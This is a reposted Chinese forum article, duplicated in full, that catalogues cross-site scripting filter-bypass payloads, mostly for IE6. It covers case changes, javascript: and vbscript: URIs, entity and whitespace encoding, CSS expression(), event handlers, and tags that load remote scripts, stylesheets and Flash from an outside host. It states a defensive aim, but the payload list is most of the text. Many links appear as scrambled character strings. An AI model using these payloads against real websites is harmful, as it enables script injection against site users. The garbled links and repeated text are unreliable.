-
-
[转帖]XSS的常见变换--XSS攻击发展
-
发表于: 2013-4-7 08:20 2444
-
2013-04-06 13:36:53
e11K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6m8M7Y4c8A6j5$3I4W2i4K6u0r3x3U0l9I4x3K6l9@1i4K6u0r3x3U0l9H3y4e0M7K6i4K6u0W2K9s2c8E0L8l9`.`.
一、标题:XSS的常见变换 --XSS攻击发展
二、摘要:
本文从攻击者的角度来给大家分析XSS的常见过滤和绕过,基本上也是XSS攻击的一个发展过程。
三、说明:
参阅了互联网上一些XSS攻防实战的例子,汇总成此文。当然,尚待完善。大家有意见请多多指正。
XSS不具有浏览器通用性。不同的浏览器对同一XSS的适用不一样。相比较而言,IE8和Firefox相对更安全,本身就对XSS攻击有更严格的过滤。而IE6的安全性一般,即使攻击者的代码有些“变形”,浏览器还是会“尽力而为”的解析。而其他的一些浏览器如opera,XSS安全处理可能做得更差。
本文基本上是在IE6的基础上给大家分析XSS的变形和绕过。以便大家有针对性的防护。
四、具体内容
XSS的一般原始构造:
<script>alert("anyunix")</script>
上述构造方式由于太过直接而容易被过滤,实际上,针对不同站点的不同过滤机制,对原始构造的适当变形有时就能绕过不少对XSS的检测。
五、发展
1:很简单,大家都知道会把<script>过滤掉,却往往忽略了大小写:
<sCripT>alert("anyunix")</Script>
2:<script>彻底被过滤了也不要紧,很多对象可以支持“javascript:”的形式代码执行:
<IMG SRC=javascript:alert("anyunix")>
3:当简单的"javascript"形式也被彻底过滤后。我们发现很多对象支持“ASCII”的表示方法,
<img src=javascript:alert("anyunix")>
<img src=javascript:alert('anyunix')>
<img src=javascript:alert('anyunix')>
<img src=javascript:alert('anyunix')>
a可以写成a,a直至a也是可以执行的。
a也是可以写成=,=直至=的。
4:如果上述编码亦被还原过滤,可以填入空格、制表符、换行符等空白字符:
<IMG SRC="jav ascript:alert('anyunix');">
5:也可以嵌入编码过后的TAB键等,char09,char10,char13都可以被嵌入:
<IMG SRC="jav ascript:alert('anyunix');">
<IMG SRC="jav ascript:alert('anyunix');">
<IMG SRC="jav ascript:alert('anyunix');">
6:当直接用“javascript”终于被彻底禁绝,我们还可以使用其他属性执行XSS。
<DIV STYLE="width:expression(alert('anyunix'));">
<IMG SRC='vbscript:msgbox("anyunix")'>
<STYLE>@import'695K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2S2i4K6u0W2j5$3E0W2M7Y4y4Q4x3X3g2G2M7X3N6Q4x3V1k6^5M7%4y4Q4x3X3g2U0M7%4y4Q4x3U0N6Q4x3@1u0Q4x3U0k6D9N6q4)9K6b7W2)9J5c8W2y4f1h3f1I4q4i4K6t1$3k6%4c8Q4x3@1t1`.
7:然后,理所当然衍生了新的绕过方式和利用形式。
A):插入注释/*....*/做干扰
<IMG STYLE="xss:expr/*XSS*/ession(alert('anyunix'))">
B):全角字符的干扰
<DIV STYLE="width:expression(alert('anyunix'));">
C):“\”的干扰
<STYLE>@im\po\rt'ae4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2S2i4K6u0W2j5$3E0W2M7Y4y4Q4x3X3g2G2M7X3N6Q4x3V1k6^5M7%4y4Q4x3X3g2U0M7%4y4Q4x3U0N6Q4x3@1u0Q4x3U0k6D9N6q4)9K6b7W2)9J5c8W2y4f1h3f1I4q4i4K6t1$3k6%4c8Q4x3@1t1`.
8:如果直接执行被完全过滤,那我们就利用事件来执行XSS
<img src="#"onerror=alert('anyunix')>
<img src=98eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0l9@1x3o6k6Q4x3V1j5J5x3o6p5K6x3o6b7H3y4U0l9I4y4o6j5H3y4K6b7%4z5q4)9J5k6i4m8F1k6H3`.`."onmousemove=alert(163)>
<BODY ONLOAD=alert('anyunix')>
<isindex type=imagesrc=1onerror=alert('anyunix')>
9:flash可以用来执行XSS
<EMBED SRC="http://ha.ckers.org/xss.swf"AllowScriptAccess="always"></EMBED>
10:也可以利用各种其他标签
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<LINK REL="stylesheet"HREF="http://ha.ckers.org/xss.css">
<TABLE BACKGROUND="javascript:alert('XSS')">
其他的一些用于混淆、干扰和绕过的bypass实例:
<SCRIPTa=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPTa=">'>"SRC="http://ha.ckers.org/xss.js"></SCRIPT>
perl-e'print"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";'>out
<IMG SRC=" javascript:alert('XSS');">
如上,就是一些比较常见和实用的XSS绕过方法。在实际的运用中,往往是多种方法结合起来。
更多更详尽的XSS测试脚本,可参见144K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2S2i4K6u0W2j5$3E0W2M7Y4y4Q4x3X3g2G2M7X3N6Q4x3V1k6^5M7%4y4Q4x3X3g2Z5N6r3#2D9i4@1f1#2i4@1u0n7i4@1u0m8i4@1f1^5i4@1q4q4i4@1q4q4i4@1f1#2i4K6S2r3i4K6R3J5i4@1f1&6i4K6V1^5i4K6R3#2i4@1f1K6i4K6R3H3i4K6S2m8e0#2N6m8f1#2m8Q4c8e0k6Q4b7U0g2Q4z5p5u0Q4c8e0S2Q4b7f1k6Q4z5e0g2Q4c8e0k6Q4z5p5y4Q4z5o6N6Q4c8e0g2Q4z5p5c8Q4z5e0N6Q4c8e0y4Q4z5o6m8Q4z5p5u0Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4b7f1k6Q4b7U0W2Q4c8e0c8Q4b7U0S2Q4z5o6m8Q4c8e0c8Q4b7V1q4Q4z5f1u0Q4c8e0N6Q4z5f1u0Q4b7U0S2Q4c8e0g2Q4z5o6g2Q4b7U0y4Q4c8e0N6Q4z5f1q4Q4z5o6c8%4k6h3u0Q4c8e0g2Q4b7f1g2Q4z5o6W2Q4c8e0g2Q4z5o6g2Q4b7e0S2Q4c8e0N6Q4z5f1k6Q4b7e0g2Q4c8e0S2Q4b7f1k6Q4z5o6k6Q4c8e0g2Q4z5o6q4Q4z5f1q4Q4c8e0g2Q4z5o6g2Q4b7e0S2Q4c8e0W2Q4z5f1c8Q4b7e0u0Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0c8Q4b7V1q4Q4z5o6k6Q4c8e0S2Q4b7e0N6Q4b7e0y4Q4c8e0y4Q4z5o6m8Q4z5o6t1`.
By:anyunix
e11K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6m8M7Y4c8A6j5$3I4W2i4K6u0r3x3U0l9I4x3K6l9@1i4K6u0r3x3U0l9H3y4e0M7K6i4K6u0W2K9s2c8E0L8l9`.`.
一、标题:XSS的常见变换 --XSS攻击发展
二、摘要:
本文从攻击者的角度来给大家分析XSS的常见过滤和绕过,基本上也是XSS攻击的一个发展过程。
三、说明:
参阅了互联网上一些XSS攻防实战的例子,汇总成此文。当然,尚待完善。大家有意见请多多指正。
XSS不具有浏览器通用性。不同的浏览器对同一XSS的适用不一样。相比较而言,IE8和Firefox相对更安全,本身就对XSS攻击有更严格的过滤。而IE6的安全性一般,即使攻击者的代码有些“变形”,浏览器还是会“尽力而为”的解析。而其他的一些浏览器如opera,XSS安全处理可能做得更差。
本文基本上是在IE6的基础上给大家分析XSS的变形和绕过。以便大家有针对性的防护。
四、具体内容
XSS的一般原始构造:
<script>alert("anyunix")</script>
上述构造方式由于太过直接而容易被过滤,实际上,针对不同站点的不同过滤机制,对原始构造的适当变形有时就能绕过不少对XSS的检测。
五、发展
1:很简单,大家都知道会把<script>过滤掉,却往往忽略了大小写:
<sCripT>alert("anyunix")</Script>
2:<script>彻底被过滤了也不要紧,很多对象可以支持“javascript:”的形式代码执行:
<IMG SRC=javascript:alert("anyunix")>
3:当简单的"javascript"形式也被彻底过滤后。我们发现很多对象支持“ASCII”的表示方法,
<img src=javascript:alert("anyunix")>
<img src=javascript:alert('anyunix')>
<img src=javascript:alert('anyunix')>
<img src=javascript:alert('anyunix')>
a可以写成a,a直至a也是可以执行的。
a也是可以写成=,=直至=的。
4:如果上述编码亦被还原过滤,可以填入空格、制表符、换行符等空白字符:
<IMG SRC="jav ascript:alert('anyunix');">
5:也可以嵌入编码过后的TAB键等,char09,char10,char13都可以被嵌入:
<IMG SRC="jav ascript:alert('anyunix');">
<IMG SRC="jav ascript:alert('anyunix');">
<IMG SRC="jav ascript:alert('anyunix');">
6:当直接用“javascript”终于被彻底禁绝,我们还可以使用其他属性执行XSS。
<DIV STYLE="width:expression(alert('anyunix'));">
<IMG SRC='vbscript:msgbox("anyunix")'>
<STYLE>@import'695K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2S2i4K6u0W2j5$3E0W2M7Y4y4Q4x3X3g2G2M7X3N6Q4x3V1k6^5M7%4y4Q4x3X3g2U0M7%4y4Q4x3U0N6Q4x3@1u0Q4x3U0k6D9N6q4)9K6b7W2)9J5c8W2y4f1h3f1I4q4i4K6t1$3k6%4c8Q4x3@1t1`.
7:然后,理所当然衍生了新的绕过方式和利用形式。
A):插入注释/*....*/做干扰
<IMG STYLE="xss:expr/*XSS*/ession(alert('anyunix'))">
B):全角字符的干扰
<DIV STYLE="width:expression(alert('anyunix'));">
C):“\”的干扰
<STYLE>@im\po\rt'ae4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2S2i4K6u0W2j5$3E0W2M7Y4y4Q4x3X3g2G2M7X3N6Q4x3V1k6^5M7%4y4Q4x3X3g2U0M7%4y4Q4x3U0N6Q4x3@1u0Q4x3U0k6D9N6q4)9K6b7W2)9J5c8W2y4f1h3f1I4q4i4K6t1$3k6%4c8Q4x3@1t1`.
8:如果直接执行被完全过滤,那我们就利用事件来执行XSS
<img src="#"onerror=alert('anyunix')>
<img src=98eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6#2M7r3I4G2j5h3c8X3K9h3I4W2i4K6u0r3x3U0l9I4x3#2)9J5c8U0l9@1x3o6k6Q4x3V1j5J5x3o6p5K6x3o6b7H3y4U0l9I4y4o6j5H3y4K6b7%4z5q4)9J5k6i4m8F1k6H3`.`."onmousemove=alert(163)>
<BODY ONLOAD=alert('anyunix')>
<isindex type=imagesrc=1onerror=alert('anyunix')>
9:flash可以用来执行XSS
<EMBED SRC="http://ha.ckers.org/xss.swf"AllowScriptAccess="always"></EMBED>
10:也可以利用各种其他标签
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<LINK REL="stylesheet"HREF="http://ha.ckers.org/xss.css">
<TABLE BACKGROUND="javascript:alert('XSS')">
其他的一些用于混淆、干扰和绕过的bypass实例:
<SCRIPTa=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT=">"SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPTa=">'>"SRC="http://ha.ckers.org/xss.js"></SCRIPT>
perl-e'print"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";'>out
<IMG SRC=" javascript:alert('XSS');">
如上,就是一些比较常见和实用的XSS绕过方法。在实际的运用中,往往是多种方法结合起来。
更多更详尽的XSS测试脚本,可参见144K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2S2i4K6u0W2j5$3E0W2M7Y4y4Q4x3X3g2G2M7X3N6Q4x3V1k6^5M7%4y4Q4x3X3g2Z5N6r3#2D9i4@1f1#2i4@1u0n7i4@1u0m8i4@1f1^5i4@1q4q4i4@1q4q4i4@1f1#2i4K6S2r3i4K6R3J5i4@1f1&6i4K6V1^5i4K6R3#2i4@1f1K6i4K6R3H3i4K6S2m8e0#2N6m8f1#2m8Q4c8e0k6Q4b7U0g2Q4z5p5u0Q4c8e0S2Q4b7f1k6Q4z5e0g2Q4c8e0k6Q4z5p5y4Q4z5o6N6Q4c8e0g2Q4z5p5c8Q4z5e0N6Q4c8e0y4Q4z5o6m8Q4z5p5u0Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4b7f1k6Q4b7U0W2Q4c8e0c8Q4b7U0S2Q4z5o6m8Q4c8e0c8Q4b7V1q4Q4z5f1u0Q4c8e0N6Q4z5f1u0Q4b7U0S2Q4c8e0g2Q4z5o6g2Q4b7U0y4Q4c8e0N6Q4z5f1q4Q4z5o6c8%4k6h3u0Q4c8e0g2Q4b7f1g2Q4z5o6W2Q4c8e0g2Q4z5o6g2Q4b7e0S2Q4c8e0N6Q4z5f1k6Q4b7e0g2Q4c8e0S2Q4b7f1k6Q4z5o6k6Q4c8e0g2Q4z5o6q4Q4z5f1q4Q4c8e0g2Q4z5o6g2Q4b7e0S2Q4c8e0W2Q4z5f1c8Q4b7e0u0Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0c8Q4b7V1q4Q4z5o6k6Q4c8e0S2Q4b7e0N6Q4b7e0y4Q4c8e0y4Q4z5o6m8Q4z5o6t1`.
By:anyunix
赞赏
他的文章
- [转帖]专家谈:“人肉搜索”背后隐藏的网络风险 2167
- [转帖]清明旅游热 上网代办签证需小心泄露隐私 2068
- [转帖]卡巴斯基:警惕可释放木马程序的病毒 2187
- [转帖]2013年信息安全新威胁 我们再也伤不起 1989
赞赏
雪币:
留言: